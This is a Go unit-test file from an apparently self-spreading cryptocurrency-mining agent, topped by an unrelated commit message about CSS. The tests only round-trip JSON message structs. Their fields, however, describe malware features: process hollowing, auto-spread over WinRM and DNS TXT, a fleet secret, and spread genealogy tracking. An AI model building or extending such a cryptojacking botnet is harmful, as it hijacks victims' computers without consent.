Standardize neon cyan on #00e8f5, wire SacredPageHeader across Builds/Path Tracer/LOTL, dedupe Pages.css, align Path Tracer chrome, drop dead wealth-deck CSS, add prefers-color-scheme shell + HelpTip, sidebar version from package.json build inject, and Vitest CSS regression guards.
185 lines
5.4 KiB
Go
185 lines
5.4 KiB
Go
package client
|
|
|
|
import (
|
|
"encoding/json"
|
|
"testing"
|
|
|
|
"crypto-miner-agent/config"
|
|
"crypto-miner-agent/job"
|
|
)
|
|
|
|
func roundTrip(t *testing.T, v any, dst any) {
|
|
t.Helper()
|
|
b, err := json.Marshal(v)
|
|
if err != nil {
|
|
t.Fatalf("marshal: %v", err)
|
|
}
|
|
if err := json.Unmarshal(b, dst); err != nil {
|
|
t.Fatalf("unmarshal: %v\njson: %s", err, string(b))
|
|
}
|
|
}
|
|
|
|
func TestMessageJSONRoundTrip(t *testing.T) {
|
|
msg := Message{Type: "auth", Payload: json.RawMessage(`{"agent_id":"a1"}`)}
|
|
var out Message
|
|
roundTrip(t, msg, &out)
|
|
if out.Type != "auth" || string(out.Payload) != `{"agent_id":"a1"}` {
|
|
t.Fatalf("unexpected: %+v", out)
|
|
}
|
|
}
|
|
|
|
func TestAuthPayloadJSONRoundTrip(t *testing.T) {
|
|
in := AuthPayload{
|
|
AgentID: "a1", FleetSecret: "secret", Wallet: "48x",
|
|
BackupPools: []BackupPoolEntry{{Host: "b.pool", Port: 4444, TLS: true, Pass: "x"}},
|
|
Version: "1.0", Hostname: "host", CPUCores: 4, MemoryGB: 8,
|
|
Worker: "w", PoolHost: "pool", PoolPort: 3333, PoolTLS: false, PoolPass: "x",
|
|
AIEnabled: true, AIOllamaEndpoint: "http://localhost:11434", AIModel: "llama",
|
|
HolePunch: true, RemoteAggressive: false, MeshP2P: false,
|
|
AutoSpread: false, ProcessHollowing: false,
|
|
Platform: "windows", Arch: "amd64", OSVersion: "10",
|
|
}
|
|
var out AuthPayload
|
|
roundTrip(t, in, &out)
|
|
if out.AgentID != in.AgentID || len(out.BackupPools) != 1 {
|
|
t.Fatalf("unexpected: %+v", out)
|
|
}
|
|
}
|
|
|
|
func TestAuthPayloadPlatformFromEnv(t *testing.T) {
|
|
t.Setenv("AETHERFORGE_PLATFORM", "android")
|
|
if got := config.RegistrationPlatform(); got != "android" {
|
|
t.Fatalf("RegistrationPlatform() = %q want android", got)
|
|
}
|
|
in := AuthPayload{Platform: config.RegistrationPlatform(), Arch: "arm64"}
|
|
var out AuthPayload
|
|
roundTrip(t, in, &out)
|
|
if out.Platform != "android" {
|
|
t.Fatalf("auth platform = %q want android", out.Platform)
|
|
}
|
|
}
|
|
|
|
func TestAuthPayloadSpreadGenealogyJSONRoundTrip(t *testing.T) {
|
|
in := AuthPayload{
|
|
AgentID: "child", ParentAgentID: "parent-uuid", SpreadGeneration: 2,
|
|
SpreadStrain: "#aabbcc", JoinLane: "winrm",
|
|
}
|
|
var out AuthPayload
|
|
roundTrip(t, in, &out)
|
|
if out.ParentAgentID != "parent-uuid" || out.SpreadGeneration != 2 || out.SpreadStrain != "#aabbcc" {
|
|
t.Fatalf("genealogy fields: %+v", out)
|
|
}
|
|
}
|
|
|
|
func TestAuthResponseJSONRoundTrip(t *testing.T) {
|
|
in := AuthResponse{Success: true, AgentID: "a1", Error: ""}
|
|
var out AuthResponse
|
|
roundTrip(t, in, &out)
|
|
if !out.Success || out.AgentID != "a1" {
|
|
t.Fatalf("unexpected: %+v", out)
|
|
}
|
|
}
|
|
|
|
func TestJobJSONRoundTrip(t *testing.T) {
|
|
in := job.Job{ID: "j1", Height: 100, BlockTemplate: "tpl", Difficulty: 500,
|
|
SeedHash: "seed", Target: "tgt", Blob: "blob", Algo: "rx/0"}
|
|
var out job.Job
|
|
roundTrip(t, in, &out)
|
|
if out.ID != "j1" || out.Blob != "blob" {
|
|
t.Fatalf("unexpected: %+v", out)
|
|
}
|
|
}
|
|
|
|
func TestSharePayloadJSONRoundTrip(t *testing.T) {
|
|
in := SharePayload{JobID: "j", Nonce: "n", Hash: "h", Worker: "w"}
|
|
var out SharePayload
|
|
roundTrip(t, in, &out)
|
|
if out.JobID != "j" {
|
|
t.Fatalf("unexpected: %+v", out)
|
|
}
|
|
}
|
|
|
|
func TestStatsPayloadJSONRoundTrip(t *testing.T) {
|
|
cpuTemp := 70
|
|
in := StatsPayload{
|
|
Hashrate15s: 100, Hashrate1m: 99, Hashrate15m: 98,
|
|
SharesSubmitted: 10, SharesAccepted: 9,
|
|
CPUUsagePct: 50, MemoryUsagePct: 40, UptimeSeconds: 3600,
|
|
CPUTempC: &cpuTemp,
|
|
Services: []ServiceStatus{{Name: "svc", Status: "running", StartType: "auto"}},
|
|
}
|
|
var out StatsPayload
|
|
roundTrip(t, in, &out)
|
|
if out.CPUTempC == nil || *out.CPUTempC != 70 {
|
|
t.Fatalf("unexpected: %+v", out)
|
|
}
|
|
}
|
|
|
|
func TestStatsPayloadFailedMethodsJSONRoundTrip(t *testing.T) {
|
|
in := StatsPayload{
|
|
Hashrate15s: 0,
|
|
ActiveMethod: "inprocess",
|
|
FailedMethods: []MethodFailurePayload{
|
|
{Method: "container", Reason: "blocked", At: "2026-06-07T12:00:00Z"},
|
|
},
|
|
ChainExhausted: false,
|
|
}
|
|
var out StatsPayload
|
|
roundTrip(t, in, &out)
|
|
if len(out.FailedMethods) != 1 || out.FailedMethods[0].Method != "container" {
|
|
t.Fatalf("failed_methods: %+v", out.FailedMethods)
|
|
}
|
|
}
|
|
|
|
func TestStatsPayloadSpreadGenealogyJSONRoundTrip(t *testing.T) {
|
|
in := StatsPayload{
|
|
Hashrate15s: 1, Hashrate1m: 1, Hashrate15m: 1,
|
|
ParentAgentID: "p1", SpreadGeneration: 1, SpreadStrain: "#112233", JoinLane: "dns_txt",
|
|
}
|
|
var out StatsPayload
|
|
roundTrip(t, in, &out)
|
|
if out.ParentAgentID != "p1" || out.SpreadStrain != "#112233" {
|
|
t.Fatalf("genealogy stats: %+v", out)
|
|
}
|
|
}
|
|
|
|
func TestShareResultJSONRoundTrip(t *testing.T) {
|
|
in := ShareResult{JobID: "j", Accepted: false, Error: "low diff"}
|
|
var out ShareResult
|
|
roundTrip(t, in, &out)
|
|
if out.Error != "low diff" {
|
|
t.Fatalf("unexpected: %+v", out)
|
|
}
|
|
}
|
|
|
|
func TestBackupPoolEntryJSONRoundTrip(t *testing.T) {
|
|
in := BackupPoolEntry{Host: "h", Port: 3333, TLS: true, Pass: "x"}
|
|
var out BackupPoolEntry
|
|
roundTrip(t, in, &out)
|
|
if out.Host != "h" || !out.TLS {
|
|
t.Fatalf("unexpected: %+v", out)
|
|
}
|
|
}
|
|
|
|
func TestServiceStatusJSONRoundTrip(t *testing.T) {
|
|
in := ServiceStatus{Name: "ssh", DisplayName: "OpenSSH", Status: "running", StartType: "manual"}
|
|
var out ServiceStatus
|
|
roundTrip(t, in, &out)
|
|
if out.Name != "ssh" {
|
|
t.Fatalf("unexpected: %+v", out)
|
|
}
|
|
}
|
|
|
|
func TestJobPayloadErrorEdgeCases(t *testing.T) {
|
|
if jobPayloadHasError(json.RawMessage(`invalid`)) {
|
|
t.Fatal("invalid json should not be treated as error field")
|
|
}
|
|
if jobPayloadHasError(json.RawMessage(`{"error":""}`)) {
|
|
t.Fatal("empty error string should not trigger")
|
|
}
|
|
msg, ok := jobPayloadErrorMessage(json.RawMessage(`{"error":" fail "}`))
|
|
if !ok || msg != " fail " {
|
|
t.Fatalf("got %q ok=%v", msg, ok)
|
|
}
|
|
}
|